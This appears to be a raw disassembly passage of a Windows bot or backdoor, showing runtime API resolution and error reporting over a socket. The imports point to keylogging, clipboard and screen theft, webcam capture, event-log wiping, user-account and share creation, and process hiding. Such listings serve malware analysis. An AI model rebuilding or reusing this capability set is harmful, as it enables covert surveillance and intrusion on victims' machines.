lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409907
push 7D0h
call dword_427080 ; Sleep
locret_409907: ; CODE XREF: sub_409869+91j
leave
retn
sub_409869 endp
; =============== S U B R O U T I N E =======================================
sub_409909 proc near ; CODE XREF: sub_401221+4Bp
push ebx
push ebp
mov ebp, dword_4270A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4270C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A29
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CBA80, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB9F4, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB9D8, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB8E8, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB894, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB8C4, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB93C, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CBA34, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CBA90, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB8F4, eax
call esi ; GetProcAddress
cmp dword_4CBA80, ebx
mov dword_4CB8DC, eax
jz short loc_409A07
cmp dword_4CB9F4, ebx
jz short loc_409A07
cmp dword_4CB9D8, ebx
jz short loc_409A07
cmp dword_4CB8E8, ebx
jz short loc_409A07
cmp dword_4CB8C4, ebx
jz short loc_409A07
cmp dword_4CB93C, ebx
jz short loc_409A07
cmp dword_4CBA34, ebx
jz short loc_409A07
cmp dword_4CBA90, ebx
jz short loc_409A07
cmp dword_4CB8F4, ebx
jz short loc_409A07
cmp eax, ebx
jnz short loc_409A11
loc_409A07: ; CODE XREF: sub_409909+B8j
; sub_409909+C0j ...
mov dword_4CBA94, 1
loc_409A11: ; CODE XREF: sub_409909+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CBA0C, eax
jz short loc_409A3E
push 1
push ebx
call eax
jmp short loc_409A3E
; ---------------------------------------------------------------------------
loc_409A29: ; CODE XREF: sub_409909+1Dj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBA98, eax
mov dword_4CBA94, 1
loc_409A3E: ; CODE XREF: sub_409909+117j
; sub_409909+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4270C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409B53
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CBA30, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB9E0, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB974, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CBA84, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB9A4, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB9C4, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CBA28, eax
call esi ; GetProcAddress
cmp dword_4CBA30, ebx
mov dword_4CB914, eax
jz short loc_409AF7
cmp dword_4CB9E0, ebx
jz short loc_409AF7
cmp dword_4CB974, ebx
jz short loc_409AF7
cmp dword_4CBA84, ebx
jz short loc_409AF7
cmp dword_4CB9A4, ebx
jz short loc_409AF7
cmp dword_4CB9C4, ebx
jz short loc_409AF7
cmp dword_4CBA28, ebx
jz short loc_409AF7
cmp eax, ebx
jnz short loc_409B01
loc_409AF7: ; CODE XREF: sub_409909+1B8j
; sub_409909+1C0j ...
mov dword_4CBA9C, 1
loc_409B01: ; CODE XREF: sub_409909+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB9A0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB8A8, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB970, eax
call esi ; GetProcAddress
cmp dword_4CB9A0, ebx
mov dword_4CB958, eax
jz short loc_409B5E
cmp dword_4CB8A8, ebx
jz short loc_409B5E
cmp dword_4CB970, ebx
jz short loc_409B5E
cmp eax, ebx
jnz short loc_409B68
jmp short loc_409B5E
; ---------------------------------------------------------------------------
loc_409B53: ; CODE XREF: sub_409909+144j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAA0, eax
loc_409B5E: ; CODE XREF: sub_409909+232j
; sub_409909+23Aj ...
mov dword_4CBA9C, 1
loc_409B68: ; CODE XREF: sub_409909+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409D21
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CBA44, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB988, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB9F8, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB8D4, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB938, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB9B0, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB954, eax
call esi ; GetProcAddress
cmp dword_4CBA44, ebx
mov dword_4CB964, eax
jz short loc_409C11
cmp dword_4CB988, ebx
jz short loc_409C11
cmp dword_4CB9F8, ebx
jz short loc_409C11
cmp dword_4CB8D4, ebx
jz short loc_409C11
cmp dword_4CB938, ebx
jz short loc_409C11
cmp dword_4CB9B0, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409909+2DEj
; sub_409909+2E6j ...
mov dword_4CBAA4, 1
loc_409C1B: ; CODE XREF: sub_409909+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB9B8, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB990, eax
call esi ; GetProcAddress
cmp dword_4CB9B8, ebx
mov dword_4CBA40, eax
jz short loc_409C56
cmp dword_4CB990, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
loc_409C56: ; CODE XREF: sub_409909+33Fj
; sub_409909+347j
mov dword_4CBAA4, 1
loc_409C60: ; CODE XREF: sub_409909+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB9C8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB8B0, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB8B8, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB91C, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB920, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB8CC, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB994, eax
call esi ; GetProcAddress
cmp dword_4CB9C8, ebx
mov dword_4CB8BC, eax
jz short loc_409D04
cmp dword_4CB8B0, ebx
jz short loc_409D04
cmp dword_4CB8B8, ebx
jz short loc_409D04
cmp dword_4CB91C, ebx
jz short loc_409D04
cmp dword_4CB920, ebx
jz short loc_409D04
cmp dword_4CB8CC, ebx
jz short loc_409D04
cmp dword_4CB994, ebx
jz short loc_409D04
cmp eax, ebx
jnz short loc_409D0E
loc_409D04: ; CODE XREF: sub_409909+3C5j
; sub_409909+3CDj ...
mov dword_4CBAA4, 1
loc_409D0E: ; CODE XREF: sub_409909+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CB8B4, eax
jnz short loc_409D36
jmp short loc_409D2C
; ---------------------------------------------------------------------------
loc_409D21: ; CODE XREF: sub_409909+26Aj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAA8, eax
loc_409D2C: ; CODE XREF: sub_409909+416j
mov dword_4CBAA4, 1
loc_409D36: ; CODE XREF: sub_409909+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409E02
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB9C0, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CBA18, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CBA20, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB9DC, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB8F8, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB8A4, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CBA1C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB890, eax
call esi ; GetProcAddress
cmp dword_4CB9C0, ebx
mov dword_4CB930, eax
jz short loc_409E0D
cmp dword_4CBA18, ebx
jz short loc_409E0D
cmp dword_4CBA20, ebx
jz short loc_409E0D
cmp dword_4CB9DC, ebx
jz short loc_409E0D
cmp dword_4CB8F8, ebx
jz short loc_409E0D
cmp dword_4CB8A4, ebx
jz short loc_409E0D
cmp dword_4CBA1C, ebx
jz short loc_409E0D
cmp dword_4CB890, ebx
jz short loc_409E0D
cmp eax, ebx
jnz short loc_409E17
jmp short loc_409E0D
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409909+438j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB0, eax
loc_409E0D: ; CODE XREF: sub_409909+4B9j
; sub_409909+4C1j ...
mov dword_4CBAAC, 1
loc_409E17: ; CODE XREF: sub_409909+4F5j
mov ebp, dword_4270C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A0D3
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB944, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CBA78, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB8E4, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB8C0, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB980, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB968, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4CB92C, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CBA54, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4CBA70, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB97C, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CBA60, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4CBA14, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4CB9D4, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB9D0, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB904, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_4CB8FC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4CBA24, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4CBA38, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB9EC, eax
call esi ; GetProcAddress
mov dword_4CB9AC, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4CBA00, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4CB9BC, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4CB9FC, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CBA68, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB9B4, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB978, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB9E8, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CBA58, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB98C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB928, eax
call esi ; GetProcAddress
cmp dword_4CB944, ebx
mov dword_4CBA6C, eax
jz loc_40A0DE
cmp dword_4CBA78, ebx
jz loc_40A0DE
cmp dword_4CB8E4, ebx
jz loc_40A0DE
cmp dword_4CB980, ebx
jz loc_40A0DE
cmp dword_4CB968, ebx
jz loc_40A0DE
cmp dword_4CB92C, ebx
jz loc_40A0DE
cmp dword_4CBA54, ebx
jz loc_40A0DE
cmp dword_4CBA70, ebx
jz loc_40A0DE
cmp dword_4CB97C, ebx
jz loc_40A0DE
cmp dword_4CBA60, ebx
jz loc_40A0DE
cmp dword_4CBA14, ebx
jz loc_40A0DE
cmp dword_4CB9D4, ebx
jz loc_40A0DE
cmp dword_4CB9D0, ebx
jz loc_40A0DE
cmp dword_4CB904, ebx
jz short loc_40A0DE
cmp dword_4CBA24, ebx
jz short loc_40A0DE
cmp dword_4CBA38, ebx
jz short loc_40A0DE
cmp dword_4CB9EC, ebx
jz short loc_40A0DE
cmp dword_4CB9AC, ebx
jz short loc_40A0DE
cmp dword_4CBA00, ebx
jz short loc_40A0DE
cmp dword_4CB9BC, ebx
jz short loc_40A0DE
cmp dword_4CB9FC, ebx
jz short loc_40A0DE
cmp dword_4CBA68, ebx
jz short loc_40A0DE
cmp dword_4CB9B4, ebx
jz short loc_40A0DE
cmp dword_4CB978, ebx
jz short loc_40A0DE
cmp dword_4CB9E8, ebx
jz short loc_40A0DE
cmp dword_4CBA58, ebx
jz short loc_40A0DE
cmp dword_4CB98C, ebx
jz short loc_40A0DE
cmp eax, ebx
jnz short loc_40A0E8
jmp short loc_40A0DE
; ---------------------------------------------------------------------------
loc_40A0D3: ; CODE XREF: sub_409909+51Fj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB8, eax
loc_40A0DE: ; CODE XREF: sub_409909+6BEj
; sub_409909+6CAj ...
mov dword_4CBAB4, 1
loc_40A0E8: ; CODE XREF: sub_409909+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A1ED
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB910, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB898, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB99C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB948, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB9A8, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB96C, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB8D8, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB8D0, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB8E0, eax
call esi ; GetProcAddress
cmp dword_4CB910, ebx
mov ecx, dword_4CB96C
mov dword_4CBA08, eax
jz short loc_40A1C9
cmp dword_4CB898, ebx
jz short loc_40A1C9
cmp dword_4CB99C, ebx
jz short loc_40A1C9
cmp dword_4CB948, ebx
jz short loc_40A1C9
cmp dword_4CB9A8, ebx
jz short loc_40A1C9
cmp ecx, ebx
jz short loc_40A1C9
cmp dword_4CB8D8, ebx
jz short loc_40A1C9
cmp dword_4CB8D0, ebx
jz short loc_40A1C9
cmp dword_4CB8E0, ebx
jz short loc_40A1C9
cmp eax, ebx
jnz short loc_40A1D3
loc_40A1C9: ; CODE XREF: sub_409909+87Ej
; sub_409909+886j ...
mov dword_4CBABC, 1
loc_40A1D3: ; CODE XREF: sub_409909+8BEj
cmp ecx, ebx
jz short loc_40A208
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4CB984, eax
jnz short loc_40A208
jmp short loc_40A202
; ---------------------------------------------------------------------------
loc_40A1ED: ; CODE XREF: sub_409909+7EAj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC0, eax
mov dword_4CBABC, 1
loc_40A202: ; CODE XREF: sub_409909+8E2j
mov dword_4CB984, ebx
loc_40A208: ; CODE XREF: sub_409909+8CCj
; sub_409909+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A252
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB95C, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CBA8C, eax
call esi ; GetProcAddress
cmp dword_4CB95C, ebx
mov dword_4CB8EC, eax
jz short loc_40A25D
cmp dword_4CBA8C, ebx
jz short loc_40A25D
cmp eax, ebx
jnz short loc_40A267
jmp short loc_40A25D
; ---------------------------------------------------------------------------
loc_40A252: ; CODE XREF: sub_409909+90Aj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAC8, eax
loc_40A25D: ; CODE XREF: sub_409909+939j
; sub_409909+941j ...
mov dword_4CBAC4, 1
loc_40A267: ; CODE XREF: sub_409909+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A36E
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB8C8, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB8A0, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB918, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB94C, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CBA64, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB900, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB8AC, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB89C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB934, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CBA2C, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB9E4, eax
call esi ; GetProcAddress
cmp dword_4CB8C8, ebx
mov dword_4CB908, eax
jz short loc_40A379
cmp dword_4CB8A0, ebx
jz short loc_40A379
cmp dword_4CB918, ebx
jz short loc_40A379
cmp dword_4CB94C, ebx
jz short loc_40A379
cmp dword_4CBA64, ebx
jz short loc_40A379
cmp dword_4CB900, ebx
jz short loc_40A379
cmp dword_4CB8AC, ebx
jz short loc_40A379
cmp dword_4CB89C, ebx
jz short loc_40A379
cmp dword_4CB934, ebx
jz short loc_40A379
cmp dword_4CBA2C, ebx
jz short loc_40A379
cmp dword_4CB9E4, ebx
jnz short loc_40A383
jmp short loc_40A379
; ---------------------------------------------------------------------------
loc_40A36E: ; CODE XREF: sub_409909+969j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD0, eax
loc_40A379: ; CODE XREF: sub_409909+A11j
; sub_409909+A19j ...
mov dword_4CBACC, 1
loc_40A383: ; CODE XREF: sub_409909+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A3B8
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB8F0, eax
call esi ; GetProcAddress
cmp dword_4CB8F0, ebx
mov dword_4CB9CC, eax
jz short loc_40A3C3
cmp eax, ebx
jnz short loc_40A3CD
jmp short loc_40A3C3
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: sub_409909+A85j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAD8, eax
loc_40A3C3: ; CODE XREF: sub_409909+AA7j
; sub_409909+AADj
mov dword_4CBAD4, 1
loc_40A3CD: ; CODE XREF: sub_409909+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A402
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CBA50, eax
call esi ; GetProcAddress
cmp dword_4CBA50, ebx
mov dword_4CBA4C, eax
jz short loc_40A40D
cmp eax, ebx
jnz short loc_40A417
jmp short loc_40A40D
; ---------------------------------------------------------------------------
loc_40A402: ; CODE XREF: sub_409909+ACFj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE0, eax
loc_40A40D: ; CODE XREF: sub_409909+AF1j
; sub_409909+AF7j
mov dword_4CBADC, 1
loc_40A417: ; CODE XREF: sub_409909+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A476
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CBA7C, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CBA74, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CBA3C, eax
call esi ; GetProcAddress
cmp dword_4CBA7C, ebx
mov dword_4CB90C, eax
jz short loc_40A481
cmp dword_4CBA74, ebx
jz short loc_40A481
cmp dword_4CBA3C, ebx
jz short loc_40A481
cmp eax, ebx
jnz short loc_40A48B
jmp short loc_40A481
; ---------------------------------------------------------------------------
loc_40A476: ; CODE XREF: sub_409909+B19j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAE8, eax
loc_40A481: ; CODE XREF: sub_409909+B55j
; sub_409909+B5Dj ...
mov dword_4CBAE4, 1
loc_40A48B: ; CODE XREF: sub_409909+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A4C0
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB940, eax
call esi ; GetProcAddress
cmp dword_4CB940, ebx
mov dword_4CBA48, eax
jz short loc_40A4CB
cmp eax, ebx
jnz short loc_40A4D5
jmp short loc_40A4CB
; ---------------------------------------------------------------------------
loc_40A4C0: ; CODE XREF: sub_409909+B8Dj
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF0, eax
loc_40A4CB: ; CODE XREF: sub_409909+BAFj
; sub_409909+BB5j
mov dword_4CBAEC, 1
loc_40A4D5: ; CODE XREF: sub_409909+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A55E
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CBA10, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CBA5C, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB998, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB950, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB9F0, eax
call esi ; GetProcAddress
cmp dword_4CBA10, ebx
mov dword_4CB960, eax
jz short loc_40A569
cmp dword_4CBA5C, ebx
jz short loc_40A569
cmp dword_4CB998, ebx
jz short loc_40A569
cmp dword_4CB950, ebx
jz short loc_40A569
cmp dword_4CB9F0, ebx
jz short loc_40A569
cmp eax, ebx
jnz short loc_40A573
jmp short loc_40A569
; ---------------------------------------------------------------------------
loc_40A55E: ; CODE XREF: sub_409909+BD7j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF8, eax
loc_40A569: ; CODE XREF: sub_409909+C2Dj
; sub_409909+C35j ...
mov dword_4CBAF4, 1
loc_40A573: ; CODE XREF: sub_409909+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A5A8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB924, eax
call esi ; GetProcAddress
cmp dword_4CB924, ebx
mov dword_4CBA04, eax
jz short loc_40A5B3
cmp eax, ebx
jnz short loc_40A5BD
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5A8: ; CODE XREF: sub_409909+C75j
call dword_427094 ; RtlGetLastWin32Error
mov dword_4CBB00, eax
loc_40A5B3: ; CODE XREF: sub_409909+C97j
; sub_409909+C9Dj
mov dword_4CBAFC, 1
loc_40A5BD: ; CODE XREF: sub_409909+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CBA94, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A60D
push dword_4CBA98
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj
cmp dword_4CBA9C, esi
jz short loc_40A641
push dword_4CBAA0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A641: ; CODE XREF: sub_40A5C5+4Ej
cmp dword_4CBAA4, esi
jz short loc_40A675
push dword_4CBAA8
lea eax, [ebp+var_200]
